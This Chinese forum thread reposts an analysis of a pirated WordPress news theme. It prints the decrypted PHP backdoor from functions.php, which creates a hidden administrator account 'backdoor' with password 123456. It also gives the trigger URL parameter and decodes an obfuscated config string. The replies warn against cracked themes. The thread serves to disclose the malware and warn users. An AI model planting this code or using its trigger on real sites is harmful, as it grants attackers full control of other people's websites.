wangjianjilei 大佬有话说 : 2020-1-4 10:12:49
[搬运]juestnews后门样本分析
本帖最后由 wangjianjilei 于 2020-1-4 10:28 编辑
搬运自52破解，原地址 https://mp.weixin.qq.com/s/MDwl7X1Lx7710FeijboP2g
作者：longgod
functions.php文件解密后再48-61行发现后门代码
add_action(‘wp_head’, ‘wp_backdoor’);
function wp_backdoor()
{
if (
md5($_GET[‘backdoor’]) == ’34d1f91fb2e514b8576fab1a75a89a6b’
) {
require(‘wp-includes/registration.php’);
if (!username_exists(‘backdoor’)) {
$user_id = wp_create_user(‘backdoor’, ‘123456’);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
}
}
。。。没错！和我关于本站ripro主题4.8版本后门分析https://www.52pojie.cn/thread-1074873-1-1.html里的后门一模一样，
连backdoor这么明显的后门变量命名都不改。同样的配方，同样的味道。
使用http(s)://你的域名/?backdoor=go访问，
自动创建用户名为backdoor密码为123456的管理员账户
panel.php文件解密后在285-289行发现一段加密代码
$ops = ‘Y2FlOWYyOGNlODljMDZmYWNjZjg4YWFjZDE3MDc0MTZleUprYjIxaGFXNGlPaUozZDNjdWFHOXZibVYzY3k1dVpYUWlMQ0oyWlhKemFXOXVJam9pTkM0d0xqUWlMQ0p3YkhWbmFXNGlPbHQ3SW01aGJXVWlPaUpYVUMxUWIzTjBWbWxsZDNNaUxDSnpiSFZuSWpvaWQzQXRjRzl6ZEhacFpYZHpJaXdpY21WeGRXbHlaV1FpT21aaGJITmxmVjBzSW1SbGJXOGlPbHQ3SW1sdGNHOXlkRjltYVd4bFgyNWhiV1VpT2lKS2RYTjBUbVYzY3lJc0ltTmhkR1ZuYjNKcFpYTWlPbnNpWkNJNklseDFPV1ZrT0Z4MU9HSmhOQ0o5TENKcGJYQnZjblJmWm1sc1pWOTFjbXdpT2lKb2RIUndPbHd2WEM5M2QzY3VkM0JqYjIwdVkyNWNMMlJ2ZDI1Y0wzQnNkV2RwYmkxbWFXeGxjMXd2WkdWdGIzTmNMMnAxYzNSdVpYZHpYQzlxZFhOMGJtVjNjeTU0Yld3aUxDSnBiWEJ2Y25SZmIzQjBhVzl1YzE5bWFXeGxYM1Z5YkNJNkltaDBkSEE2WEM5Y0wzZDNkeTUzY0dOdmJTNWpibHd2Wkc5M2Jsd3ZjR3gxWjJsdUxXWnBiR1Z6WEM5a1pXMXZjMXd2YW5WemRHNWxkM05jTDJwMWMzUnVaWGR6TG1wemIyNGlMQ0pwYlhCdmNuUmZibTkwYVdObElqb2lYSFUxWW1aalhIVTFNVFkxWEhVMU5EQmxYSFUxTWpBMlhIVTNZemRpU1VSY2RUTXdNREZjZFRrNE56VmNkVGszTmpKSlJGeDFOVE5sWmx4MU9EQm1aRngxTkdZeFlWeDFOVE5rT0Z4MU5UTXhObHgxWm1Zd1kxeDFOR1k0WWx4MU5UazRNbHgxTnpVeU9GeDFOakl6TjF4MU56Wm1PRngxTlRFM00xeDFPVGczTlZ4MU9UYzJNbHgxTlRObFpseDFPREJtWkZ4MU9UY3dNRngxT0RrNE1WeDFPVEZqWkZ4MU5qVmlNRngxTlRJek1DQmNkVFJsTTJKY2RUazRPVGhjZFRoaVltVmNkVGRtTm1VK1hIVTNOVEk0WEhVMk1qTTNYSFUwWlRKa1hIVTFabU16SUZ4MU5HVXdZbHgxT1RjMk1seDFPR0ppWlZ4MU4yWTJaU0o5WFN3aWNtVnhkV2x5WlhNaU9sc2lWME1pWFgwPQ==’;
$ops = base64_decode($ops);
$token = ‘$P$BcGrBU7tfwMR8kZlKzS1OonWpmDU0Y.’;
$ops = base64_decode(str_replace(md5($token), ”, $ops));
$this->_extras = json_decode($ops);
先base64解密（base64_decode($ops)）后得到
cae9f28ce89c06faccf88aacd1707416eyJkb21haW4iOiJ3d3cuaG9vbmV3cy5uZXQiLCJ2ZXJzaW9uIjoiNC4wLjQiLCJwbHVnaW4iOlt7Im5hbWUiOiJXUC1Qb3N0Vmlld3MiLCJzbHVnIjoid3AtcG9zdHZpZXdzIiwicmVxdWlyZWQiOmZhbHNlfV0sImRlbW8iOlt7ImltcG9ydF9maWxlX25hbWUiOiJKdXN0TmV3cyIsImNhdGVnb3JpZXMiOnsiZCI6Ilx1OWVkOFx1OGJhNCJ9LCJpbXBvcnRfZmlsZV91cmwiOiJodHRwOlwvXC93d3cud3Bjb20uY25cL2Rvd25cL3BsdWdpbi1maWxlc1wvZGVtb3NcL2p1c3RuZXdzXC9qdXN0bmV3cy54bWwiLCJpbXBvcnRfb3B0aW9uc19maWxlX3VybCI6Imh0dHA6XC9cL3d3dy53cGNvbS5jblwvZG93blwvcGx1Z2luLWZpbGVzXC9kZW1vc1wvanVzdG5ld3NcL2p1c3RuZXdzLmpzb24iLCJpbXBvcnRfbm90aWNlIjoiXHU1YmZjXHU1MTY1XHU1NDBlXHU1MjA2XHU3YzdiSURcdTMwMDFcdTk4NzVcdTk3NjJJRFx1NTNlZlx1ODBmZFx1NGYxYVx1NTNkOFx1NTMxNlx1ZmYwY1x1NGY4Ylx1NTk4Mlx1NzUyOFx1NjIzN1x1NzZmOFx1NTE3M1x1OTg3NVx1OTc2Mlx1NTNlZlx1ODBmZFx1OTcwMFx1ODk4MVx1OTFjZFx1NjViMFx1NTIzMCBcdTRlM2JcdTk4OThcdThiYmVcdTdmNmU+XHU3NTI4XHU2MjM3XHU0ZTJkXHU1ZmMzIFx1NGUwYlx1OTc2Mlx1OGJiZVx1N2Y2ZSJ9XSwicmVxdWlyZXMiOlsiV0MiXX0=
再以$P$BcGrBU7tfwMR8kZlKzS1OonWpmDU0Y.为密钥MD5加密（md5($token)）得到cae9f28ce89c06faccf88aacd1707416
替换cae9f28ce89c06faccf88aacd1707416为空格，作用等同于删除
得到
eyJkb21haW4iOiJ3d3cuaG9vbmV3cy5uZXQiLCJ2ZXJzaW9uIjoiNC4wLjQiLCJwbHVnaW4iOlt7Im5hbWUiOiJXUC1Qb3N0Vmlld3MiLCJzbHVnIjoid3AtcG9zdHZpZXdzIiwicmVxdWlyZWQiOmZhbHNlfV0sImRlbW8iOlt7ImltcG9ydF9maWxlX25hbWUiOiJKdXN0TmV3cyIsImNhdGVnb3JpZXMiOnsiZCI6Ilx1OWVkOFx1OGJhNCJ9LCJpbXBvcnRfZmlsZV91cmwiOiJodHRwOlwvXC93d3cud3Bjb20uY25cL2Rvd25cL3BsdWdpbi1maWxlc1wvZGVtb3NcL2p1c3RuZXdzXC9qdXN0bmV3cy54bWwiLCJpbXBvcnRfb3B0aW9uc19maWxlX3VybCI6Imh0dHA6XC9cL3d3dy53cGNvbS5jblwvZG93blwvcGx1Z2luLWZpbGVzXC9kZW1vc1wvanVzdG5ld3NcL2p1c3RuZXdzLmpzb24iLCJpbXBvcnRfbm90aWNlIjoiXHU1YmZjXHU1MTY1XHU1NDBlXHU1MjA2XHU3YzdiSURcdTMwMDFcdTk4NzVcdTk3NjJJRFx1NTNlZlx1ODBmZFx1NGYxYVx1NTNkOFx1NTMxNlx1ZmYwY1x1NGY4Ylx1NTk4Mlx1NzUyOFx1NjIzN1x1NzZmOFx1NTE3M1x1OTg3NVx1OTc2Mlx1NTNlZlx1ODBmZFx1OTcwMFx1ODk4MVx1OTFjZFx1NjViMFx1NTIzMCBcdTRlM2JcdTk4OThcdThiYmVcdTdmNmU+XHU3NTI4XHU2MjM3XHU0ZTJkXHU1ZmMzIFx1NGUwYlx1OTc2Mlx1OGJiZVx1N2Y2ZSJ9XSwicmVxdWlyZXMiOlsiV0MiXX0=
再base64解密得到
{"domain":"www.hoonews.net","version":"4.0.4","plugin":[{"name":"WP-PostViews","slug":"wp-postviews","required":false}],"demo":[{"import_file_name":"JustNews","categories":{"d":"u9ed8u8ba4"},"import_file_url":"http://www.wpcom.cn/down/plugin-files/demos/justnews/justnews.xml","import_options_file_url":"http://www.wpcom.cn/down/plugin-files/demos/justnews/justnews.json","import_notice":"u5bfcu5165u540eu5206u7c7bIDu3001u9875u9762IDu53efu80fdu4f1au53d8u5316uff0cu4f8bu5982u7528u6237u76f8u5173u9875u9762u53efu80fdu9700u8981u91cdu65b0u5230 u4e3bu9898u8bbeu7f6e>u7528u6237u4e2du5fc3 u4e0bu9762u8bbeu7f6e"}],"requires":["WC"]}
将unicode替换成中文
{"domain":"www.hoonews.net","version":"4.0.4","plugin":[{"name":"WP-PostViews","slug":"wp-postviews","required":false}],"demo":[{"import_file_name":"JustNews","categories":{"d":"默认"},"import_file_url":"http://www.wpcom.cn/down/plugin-files/demos/justnews/justnews.xml","import_options_file_url":"http://www.wpcom.cn/down/plugin-files/demos/justnews/justnews.json","import_notice":"导入后分类ID、页面ID可能会变化，例如用户相关页面可能需要重新到 主题设置>用户中心 下面设置"}],"requires":["WC"]}
可以看出这个所谓的justnews 5.2.3破解版，其实本来是4.0.4破解版（由www.hoonews.net传播）而且还被加了后门。
PS:在此提醒一下用破解版的诸位，D盾并不能扫描出像这种专门针对WordPress的后门
D盾对我而言其实主要用来检测加密文件和查杀低级的木马，高级一点的其实很容易绕过查杀。
所以不要以为用D盾扫一下发现没有报毒就万事无忧了，而且作者真的要针对盗版还是比较容易的。
比如justnews激活就会将域名发到http://www.wpcom.cn/authentication/，ripro会将设置域名之类的信息发到vip.ylit.cc。
之前不是说ripro盗版收款收到别人账户上去了吗？是盗版传播者做的，还是其他人做的？自己好好想想。
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原地址 https://mp.weixin.qq.com/s/MDwl7X1Lx7710FeijboP2g
只复制了纯文字，要图片的自己点链接去了
快乐风男 大佬有话说 : 2020-1-4 10:14:52
真喜欢就别用盗版，正版路过yc022t
coolfire 大佬有话说 : 2020-1-4 10:14:57
高手！看来还是少用开心版
wangjianjilei 大佬有话说 : 2020-1-4 10:16:29
你们不觉得backdoor很出戏吗
流河旱树 大佬有话说 : 2020-1-4 10:25:13
所以别用开心版了 到底谁开心 还不知道呢